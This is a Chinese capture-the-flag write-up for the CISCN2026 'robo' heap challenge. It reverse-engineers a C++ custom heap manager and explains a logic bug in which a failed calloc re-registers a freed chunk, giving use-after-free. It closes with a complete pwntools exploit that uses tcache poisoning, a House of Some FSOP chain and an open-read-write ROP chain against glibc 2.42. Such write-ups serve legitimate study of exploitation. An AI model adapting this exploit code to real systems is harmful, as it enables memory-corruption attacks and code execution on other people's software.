一道简单但不简约的堆题——CISCN2026初赛堆题robo分析

题目描述#

CISCN2026线上初赛的题目，线上只有一解，查了下发现过去五个月了还没有人写过WP，就尝试了一下，结果发现不是很难，可能是限时+看到cpp逆向大家都不愿意动手写吧（附件在结尾）

基本信息#

Glibc版本2.42，算很新的版本了，高版本Glibc的ptmalloc机制更新可以移步我的上一篇文章[原创]从2026CCB决赛堆题CreditMarket学习Glibc2.39后ptmalloc的机制更新，以及熟悉的保护全开

漏洞分析#

伪代码分析#

一打开IDA就是一股浓厚的cpp味，不知道大佬们cpp逆向一般怎么做比较快，我只会土办法，一边看伪代码一边还原cpp的逻辑，还原出的cpp逻辑如下

1
class SafeHeapManager {
2
public:
3
    struct Chunk {
4
        std::size_t size = 0;
5
        bool in_use = false;
6
        bool contains(std::uintptr_t chunk_base, std::uintptr_t addr, std::size_t len) const {
7
            if (in_use != true || len == 0) {
8
                return len == 0;
9
            }
10
            if (addr < chunk_base) {
11
                return false;
12
            }
13
            if (size >= len) {
14
                return size + chunk_base - len >= addr;
15
            }
16
            return false;
17
        }
18
    };
19

20
    struct Shard : public std::map<std::uintptr_t, Chunk> {};
21
    Shard &get_shard(std::uintptr_t ptr) {
22
        return shards_[(ptr >> 4) & 0x3ff];
23
    }
24

25
    std::pair<std::uintptr_t, Chunk *> find_in_shard(Shard &shard, std::uintptr_t addr) {
26
        auto it = shard.upper_bound(addr);
27
        if (it == shard.begin()) {
28
            return {0, nullptr};
29
        }
30
        --it;
31
        const std::uintptr_t chunk_base = it->first;
32
        Chunk &chunk = it->second;
33
        if (addr < chunk_base || addr >= chunk_base + chunk.size) {
34
            return {0, nullptr};
35
        }
36
        return {chunk_base, &chunk};
37
    }
38

39
    void register_chunk(void *ptr, std::size_t size) {
40
        const auto addr = reinterpret_cast<std::uintptr_t>(ptr);
41
        if (addr != 0 && size != 0) {
42
            Chunk &chunk = get_shard(addr)[addr];
43
            chunk.size = size;
44
            chunk.in_use = true;
45
        }
46

47
    }
48

49
    bool unregister_chunk(void *ptr) {
50
        const auto addr = reinterpret_cast<std::uintptr_t>(ptr);
51
        if (addr == 0) {
52
            return false;
53
        }
54
        Shard &shard = get_shard(addr);
55
        auto it = shard.find(addr);
56
        if (it == shard.end()) {
57
            return false;
58
        }
59
        it->second.in_use = false;
60
        shard.erase(it);
61
        return true;
62
    }
63

64
    void safe_free(void *ptr) {
65
        if (unregister_chunk(ptr)) {
66
            std::free(ptr);
67
        }
68
    }
69

70
    bool safe_write(void *ptr, const void *src, std::size_t len) {
71
        if (ptr == nullptr || src == nullptr) {
72
            return false;
73
        }
74
        if (len == 0) {
75
            return true;
76
        }
77
        const auto addr = reinterpret_cast<std::uintptr_t>(ptr);
78
        Shard &shard = get_shard(addr);
79
        auto [chunk_base, chunk] = find_in_shard(shard, addr);
80
        if (chunk == nullptr || !chunk->contains(chunk_base, addr, len)) {
81
            return false;
82
        }
83
        std::memcpy(ptr, src, len);
84
        return true;
85
    }
86

87
    bool safe_read(void *ptr, void *dst, std::size_t len) {
88

89
        if (ptr == nullptr || dst == nullptr) {
90
            return false;
91
        }
92
        if (len == 0) {
93
            return true;
94
        }
95
        const auto addr = reinterpret_cast<std::uintptr_t>(ptr);
96
        Shard &shard = get_shard(addr);
97
        auto [chunk_base, chunk] = find_in_shard(shard, addr);
98
        if (chunk == nullptr || !chunk->contains(chunk_base, addr, len)) {
99
            return false;
100
        }
101
        std::memcpy(dst, ptr, len);
102
        return true;
103
    }
104

105
private:
106
    std::array<Shard, 1024> shards_;
107
};
108
static SafeHeapManager g_safe_heap_manager;
109
static unsigned char *base = nullptr;
110
static int sandbox() {
111
}
112

113
static void init() {
114
    setvbuf(stdin, nullptr, _IONBF, 0);
115
    setvbuf(stdout, nullptr, _IONBF, 0);
116
    setvbuf(stderr, nullptr, _IONBF, 0);
117
    sandbox();
118
    base = static_cast<unsigned char *>(std::malloc(0x1000));
119
    std::free(base);
120
}
121

122
static void menu() {
123
    std::cout << "1. malloc" << std::endl;
124
    std::cout << "2. free" << std::endl;
125
    std::cout << "3. write" << std::endl;
126
    std::cout << "4. read" << std::endl;
127

128
}
129

130
int main() {
131
    init();
132
    while (true) {
133
        int choice = 0;
134
        std::size_t size = 0;
135
        menu();
136
        std::cout << "YourChoice:";
137
        if (!(std::cin >> choice)) {
138
            return 0;
139
        }
140
        if (choice == 1) {
141
            std::cout << "size:";
142
            std::cin >> size;
143
            void *chunk = std::calloc(1, size);
144
            static void *chunk_pointer_1 = nullptr;
145
            static std::size_t size_2 = 0;
146
            if (chunk != nullptr) {
147
                chunk_pointer_1 = chunk;
148
                size_2 = size;
149
            }
150
            g_safe_heap_manager.register_chunk(chunk_pointer_1, size_2);
151
            std::cout << "allocated at 0x" << std::hex
152
                      << reinterpret_cast<std::uintptr_t>(chunk)
153
                      << std::dec << std::endl;
154
        } else if (choice == 2) {
155
            std::cout << "address:";
156
            std::cin >> value;
157
            g_safe_heap_manager.safe_free(base + value);
158
            std::cout << "freed" << std::endl;
159
        } else if (choice == 3) {
160
            std::size_t size = 0;
161
            std::cout << "address:";
162
            std::cin >> value;
163
            std::cout << "size:";
164
            std::cin >> size;
165
            std::vector<unsigned char> data(size);
166
            std::cout << "data (hex):";
167
            for (std::size_t i = 0; i < size; ++i) {
168
                unsigned int byte = 0;
169
                std::cin >> std::hex >> byte >> std::dec;
170
                data[i] = static_cast<unsigned char>(byte);
171
            }
172
            if (g_safe_heap_manager.safe_write(base + value, data.data(), data.size())) {
173
                std::cout << "write success" << std::endl;
174
            } else {
175
                std::cout << "write failed" << std::endl;
176
            }
177
        } else if (choice == 4) {
178
            std::size_t size = 0;
179
            std::cout << "address:";
180
            std::cin >> value;
181
            std::cout << "size:";
182
            std::cin >> size;
183
            std::vector<unsigned char> data(size);
184
            if (g_safe_heap_manager.safe_read(base + value, data.data(), data.size())) {
185
                for (unsigned char byte : data) {
186
                    std::printf("%02x ", byte);
187
                }
188
                std::cout << std::endl;
189
            } else {
190
                std::cout << "read failed" << std::endl;
191
            }
192
        } else {
193
            std::cout << "invalid choice" << std::endl;
194
            std::exit(0);
195
        }
196
    }
197
}

可以发现，这道题设计了一个堆管理器，维护了一个结构体，并且通过对应的结构体来确定堆块是否使用、大小，并且以初始化时的一个堆作为基地址，返回一个offset，并且查找堆块的逻辑是通过offset而非index，除此之外，add使用了calloc（Glibc2.41之后calloc也会优先使用tcache），但是add的size输入没有限制，add、edit、show、delete的次数均无限制。

调试分析#

如果看代码还是比较难理解这个堆管理器到底干了啥的，其实这道题我最开始理解这道题的逻辑是直接通过调试来理解的，分享一下我调试的过程。

申请了一个0x400的堆块，发现除了我们申请的之外，程序还自己申请了一个0x30的堆块，我们可以看一下内容

到这里还看不是很太懂+0x0到+0x18的对应值，但是+0x20和+0x28的值很明显存放了我们所申请堆块的用户指针和用户大小，那就只能再申请一个堆块看结果了

可以看到，确实是每申请一个新堆块就会伴随这个0x30的小块，而且也确定+0x20以及+0x28处存放的一定是堆块的用户指针和用户大小

接下来我们尝试一下free，可以发现，需要我们传入的是一个“address”，但是这里很坑，最开始试着传了0x300和768，结果发现都不能正常free，最后发现要传300。。

发现堆块也确实被正常free了（pwndbg对高版本Glibc的支持有点奇怪，对进入tcache的块判定有点问题，但是通过看堆块被写入的next指针和key可以判断其已经进入了tcache）,同时，伴随堆块也同时被free了

edit和show的逻辑就一起展示了，这个传入数据要求hex，show的输出格式也需要单独写

测了一下发现没有UAF，也没有堆溢出，虽然没直接找到漏洞，但这短短几分钟的调试能帮我们少分析很大一部分代码

再回伪代码#

这个add模块对应我们手写的这段代码

1
        if (choice == 1) {
2
            std::cout << "size:";
3
            std::cin >> size;
4
            void *chunk = std::calloc(1, size);
5

6
            static void *chunk_pointer_1 = nullptr;
7
            static std::size_t size_2 = 0;
8

9
            if (chunk != nullptr) {
10
                chunk_pointer_1 = chunk;
11
                size_2 = size;
12
            }
13

14
            g_safe_heap_manager.register_chunk(chunk_pointer_1, size_2);
15
            std::cout << "allocated at 0x" << std::hex
16
                      << reinterpret_cast<std::uintptr_t>(chunk)
17
                      << std::dec << std::endl;

不知道大家有没有看出这段代码的漏洞，其实应该要先注意到这个突兀的if，它仅仅做了两个简单的赋值，而这两个值本身都存在于栈上，再将赋完的值传给register_chunk函数进行堆注册，聪明的你肯定想到了题目描述“真的有点粗心呢~”，所以这段代码本来希望实现的逻辑应该是

1
        if (choice == 1) {
2
            std::cout << "size:";
3
            std::cin >> size;
4
            void *chunk = std::calloc(1, size);
5

6
            static void *chunk_pointer_1 = nullptr;
7
            static std::size_t size_2 = 0;
8

9
            if (chunk != nullptr) {
10
                chunk_pointer_1 = chunk;
11
                size_2 = size;
12
                g_safe_heap_manager.register_chunk(chunk_pointer_1, size_2);
13
              std::cout << "allocated at 0x" << std::hex
14
                      << reinterpret_cast<std::uintptr_t>(chunk)
15
                      << std::dec << std::endl;
16
            }

是为了防止calloc申请失败而做的判定，却意外将register_chunk放到了判定外，导致calloc是否成功都会执行register_chunk函数，而chunk_pointer_1和size_2是存在栈上的变量，在循环当中，如果不对他们进行新的赋值，他们就会沿用之前的值，而这就实现了这道题真正的利用点——UAF。

我们来聊一聊这个UAF的逻辑我们先看，如果某次calloc(1,size)申请成功，我们给这个chunk取个名字叫chunk A，满足if (chunk != nullptr)那么紧接着进行变量赋值，chunk_pointer_1 = chunk、size_2 = size，并且将堆指针和大小作为参数传给register_chunk进行堆注册。注意，此时栈上chunk_pointer_1这个变量就是chunk A的指针。 倘若我们此时将chunk A给释放，此时程序会进行unregister_chunk，在堆管理器中删除对应的节点，然后对这个堆块实施free操作。而此时我们如果对这个堆块尝试进行write或read操作是会被ban的，因为此时这个堆块并未在堆管理器中注册

那么此时如果我们使calloc报错返回0呢？

我们可以看到，这个堆块依然是释放状态（由tcache的next指针和key值可看出），但我们的数据可以正常写入并且可以正常对这个堆块进行读操作，这就实现了UAF。

同时我们再看堆管理器此时的数据会发现这个被释放的堆已经在堆管理器中被注册了：

原理其实很简单，只有当if条件满足时，栈上的chunk_pointer_1和size变量才会被新赋值，但如果calloc失败返回0值使得没有进入if分支，栈上的chunk_pointer_1和size变量就不会被更新，但依然会执行register_chunk，当我们在第N次calloc成功一个chunk后，将其释放，在第N+1次使得calloc失败，我们就得以在堆块未被重新申请的情况下在堆管理器中得到这个堆块，从而实现UAF。

（使得calloc(1,size)失败return 0的方式可以使size超过INT64_MAX即0x8000000000000000来实现）

漏洞利用#

有了一个UAF后，这道题的利用就十分多元了，因为add的size输入没有限制，add、edit、show、delete的次数均无限制，通过tcache可以随意拿任意地址读写，不管是通过_environ打栈劫持执行流，又或是打IO劫持执行流都可以，我直接利用house of some(apple2变体)一把梭了，这道题真正卡人的应该是UAF逻辑的分析，它并不像我们常见的在free后未将chunk指针置零而导致的UAF，而是在自定义的堆管理器中，存在逻辑漏洞可以使得被释放的堆块被重新注册，在得到UAF后的堆利用劫持执行流并不是这道题的难点，所以不花太多时间分析了，exp如下：

1
#!/usr/bin/env python3
2

3
from pwn import *  # type: ignore
4
from SomeofHouse import HouseOfSome
5

6
context.terminal = ["wt.exe", "-w", "0", "split-pane", "bash", "-c"]
7
file_name = "./pwn"
8
libc_position = "/root/glibc-all-in-one/libs/2.42-0ubuntu3_amd64/libc.so.6"
9
remote_addr = ""
10
remote_port = ""
11

12
e = ELF(f"{file_name}")
13
context.binary = e
14
context.log_level = "debug"  # error/debug
15

16
libc = None
17
if args.REMOTE:
18
    p = remote(remote_addr, remote_port)
19
elif args.GDB:
20
    gdbscript = """"""
21
    p = gdb.debug(file_name, gdbscript=gdbscript)
22
else:
23
    p = process(file_name)
24
if libc_position != "":
25
    libc = ELF(f"{libc_position}")
26
assert libc is not None
27

28
sd = lambda a: p.send(a)
29
sl = lambda a: p.sendline(a)
30
rc = lambda a=4096: p.recv(a)
31
rl = lambda: p.recvline()
32
ru = lambda a: p.recvuntil(a)
33
uu32 = lambda a: u32(a.ljust(4, b"\x00"))
34
uu64 = lambda a: u64(a.ljust(8, b"\x00"))
35
sh = lambda: p.interactive()
36
slog = lambda name, addr: log.success(f"{name} ==> {hex(addr)}")
37

38

39
def debug(cmd=""):
40
    if not args.REMOTE:
41
        gdb.attach(p, cmd)
42
        pause()
43

44

45
def choice(a):
46
    ru(b"ce:")
47
    sl(str(a).encode())
48

49

50
address = []
51
def add(a):
52
    choice(1)
53
    ru(b"ze:")
54
    sl(str(a).encode())
55
    ru(b"allocated at ")
56
    addr = int(ru(b"\n").strip(), 16)
57
    address.append(addr)
58

59

60
def delete(a):
61
    choice(2)
62
    ru(b"ess:")
63
    sl(str(hex(address[a])[2:]).encode())
64

65

66
def edit(a, b):
67
    choice(3)
68
    ru(b"ess:")
69
    sl(str(hex(address[a])[2:]).encode())
70
    ru(b"ze:")
71
    sl(str(len(b)).encode())
72
    ru(b"data (hex):")
73
    sl(b" ".join(f"{x:02x}".encode() for x in b))
74

75

76
def show(a, b):
77
    choice(4)
78
    ru(b"ess:")
79
    sl(str(hex(address[a])[2:]).encode())
80
    ru(b"ze:")
81
    sl(str(b).encode())
82
    ru(b"data (hex):\n")
83
    line = ru(b"\n").strip()
84
    data = bytes(int(x, 16) for x in line.split())
85
    return data
86

87

88
def safe(a, b):
89
    return b ^ (a >> 12)
90

91

92
add(0x50)  # idx0
93
delete(0)
94
add(0x8000000000000000)  # idx1
95

96
heap_base = uu64(show(0, 5)) << 12
97
slog(b"heap", heap_base)
98
heap1_addr = heap_base + 0x310
99
add(0x500)  # idx2
100
delete(2)
101
add(0x8000000000000000)  # idx3
102
libc_base = uu64(show(2, 6)) - 0x234B20
103
slog(b"libc", libc_base)
104

105
add(0x60)  # idx4
106
add(0x200)  # idx5
107
add(0x200)  # idx6
108
edit(4, b"/flag")
109

110
flag_addr = heap_base + 0x3E0
111
fk_addr = heap_base + 0x450
112
libc.address = libc_base
113
fake_file_start = heap_base + 0x6A0
114
hos = HouseOfSome(libc=libc, controlled_addr=fake_file_start)
115
payload = hos.hoi_read_file_template(fake_file_start, 0x400, fake_file_start, 0)
116
edit(5, payload)
117

118
edit(0, p64(safe(heap1_addr + 0x10, heap_base + 0xC0)))
119
add(0x50)  # idx7
120
add(0x50)  # idx8
121
edit(8, p64(libc_base + 0x2354B0))
122
add(0x20)  # idx9
123
edit(9, p64(0) * 2 + p64(fk_addr))
124
choice(5)
125
ru(b"invalid choice\n")
126
rop_base_stack_addr = hos.bomb_raw(p)
127
slog(b"stack", rop_base_stack_addr)
128

129
pop_rax = libc_base + 0xE6367
130
pop_rdi = libc_base + 0x11B8BA
131
pop_rsi = libc_base + 0x5C247
132
pop_rdx = libc_base + 0x48CD2
133
open_addr = libc.sym["open"]
134
syscall = libc_base + 0x1348CB
135
read_addr = libc.sym["read"]
136
write_addr = libc.sym["write"]
137

138
orw = (
139
    p64(pop_rax)
140
    + p64(2)
141
    + p64(pop_rdi)
142
    + p64(flag_addr)
143
    + p64(pop_rsi)
144
    + p64(0)
145
    + p64(pop_rdx)
146
    + p64(0)
147
    + p64(syscall)
148
)
149
orw += (
150
    p64(pop_rdi)
151
    + p64(3)
152
    + p64(pop_rsi)
153
    + p64(heap_base + 0x100)
154
    + p64(pop_rdx)
155
    + p64(0x30)
156
    + p64(read_addr)
157
)
158
orw += (
159
    p64(pop_rdi)
160
    + p64(1)
161
    + p64(pop_rsi)
162
    + p64(heap_base + 0x100)
163
    + p64(pop_rdx)
164
    + p64(0x30)
165
    + p64(write_addr)
166
)
167

168
sl(orw)
169

170
sh()

结语#

如标题所言，这是一道简单但不简约的堆题，并不像往年的其他的堆题，通过限制malloc次数、大小，show、edit、delete的次数来增加堆利用的难度，而是通过cpp逆向的方式，使得程序逻辑更难被分析，同时利用逻辑漏洞设计UAF，这道题也反映了近年对于pwn手的要求，需要对难以还原执行流的程序具备漏洞分析利用的能力，不过话也说回来，在生产环境中出现的漏洞更多也与逻辑相关，而不是简单的漏洞原语，多学习、多阅读、多复现，安全这条路还有很多需要我们学习的。